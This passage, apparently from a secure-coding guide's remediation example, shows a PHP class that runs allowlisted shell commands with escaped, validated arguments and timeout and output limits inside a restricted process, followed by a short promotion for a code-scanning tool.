        $commandParts = self::ALLOWED_COMMANDS[$commandName];
        
        // Validate and escape user arguments
        foreach ($args as $arg) {
            if (!is_string($arg) || strlen($arg) > 255) {
                throw new InvalidArgumentException('Invalid argument provided');
            }
            
            // Additional validation based on command type
            $this->validateArgumentForCommand($commandName, $arg);
            
            $commandParts[] = escapeshellarg($arg);
        }
        
        $fullCommand = implode(' ', $commandParts);
        
        return $this->executeSandboxed($fullCommand);
    }
    
    private function validateArgumentForCommand($commandName, $arg) {
        switch ($commandName) {
            case 'ping':
                // Validate hostname/IP
                if (!filter_var($arg, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME) && 
                    !filter_var($arg, FILTER_VALIDATE_IP)) {
                    throw new InvalidArgumentException('Invalid hostname or IP address');
                }
                break;
                
            case 'nslookup':
                // Similar hostname validation
                if (!filter_var($arg, FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME)) {
                    throw new InvalidArgumentException('Invalid hostname for nslookup');
                }
                break;
                
            case 'file':
            case 'identify':
                // Validate file path
                SecureInputValidator::validatePath($arg, ['/app/uploads', '/tmp/processing']);
                break;
        }
    }
    
    private function executeSandboxed($command) {
        // Set up sandboxed environment
        $descriptorspec = [
            0 => ['pipe', 'r'],  // stdin
            1 => ['pipe', 'w'],  // stdout
            2 => ['pipe', 'w']   // stderr
        ];
        
        // Start process with restrictions
        $process = proc_open(
            $command,
            $descriptorspec,
            $pipes,
            '/tmp',  // Working directory
            self::SANDBOX_ENV  // Restricted environment
        );
        
        if (!is_resource($process)) {
            throw new RuntimeException('Failed to start sandboxed process');
        }
        
        // Close stdin
        fclose($pipes[0]);
        
        // Set non-blocking mode for stdout and stderr
        stream_set_blocking($pipes[1], false);
        stream_set_blocking($pipes[2], false);
        
        $stdout = '';
        $stderr = '';
        $startTime = time();
        
        // Monitor process execution
        while (true) {
            $status = proc_get_status($process);
            
            // Check if process is still running
            if (!$status['running']) {
                break;
            }
            
            // Check timeout
            if (time() - $startTime > self::MAX_EXECUTION_TIME) {
                proc_terminate($process, SIGKILL);
                throw new RuntimeException('Command execution timeout');
            }
            
            // Read output
            $stdout .= stream_get_contents($pipes[1]);
            $stderr .= stream_get_contents($pipes[2]);
            
            // Check output size limits
            if (strlen($stdout) > self::MAX_OUTPUT_SIZE) {
                proc_terminate($process, SIGKILL);
                throw new RuntimeException('Output size limit exceeded');
            }
            
            usleep(100000); // Sleep 0.1 seconds
        }
        
        // Final read of any remaining output
        $stdout .= stream_get_contents($pipes[1]);
        $stderr .= stream_get_contents($pipes[2]);
        
        fclose($pipes[1]);
        fclose($pipes[2]);
        
        $exitCode = proc_close($process);
        
        return [
            'stdout' => $stdout,
            'stderr' => $stderr,
            'exit_code' => $exitCode,
            'success' => $exitCode === 0
        ];
    }
    
    // Safe wrapper methods for common operations
    public function pingHost($hostname) {
        $result = $this->executeCommand('ping', [$hostname]);
        
        if (!$result['success']) {
            throw new RuntimeException('Ping failed: ' . $result['stderr']);
        }
        
        return $result['stdout'];
    }
    
    public function getFileInfo($filepath) {
        $result = $this->executeCommand('file', [$filepath]);
        
        if (!$result['success']) {
            throw new RuntimeException('File analysis failed: ' . $result['stderr']);
        }
        
        return trim($result['stdout']);
    }
}

// Usage example
try {
    $executor = new SecureCommandExecutor();
    $pingResult = $executor->pingHost('google.com');
    echo $pingResult;
} catch (Exception $e) {
    error_log('Secure command execution error: ' . $e->getMessage());
    // Handle error appropriately
}
?>

Detect This Vulnerability in Your Code

Sourcery automatically identifies php system command injection and many other security issues in your codebase.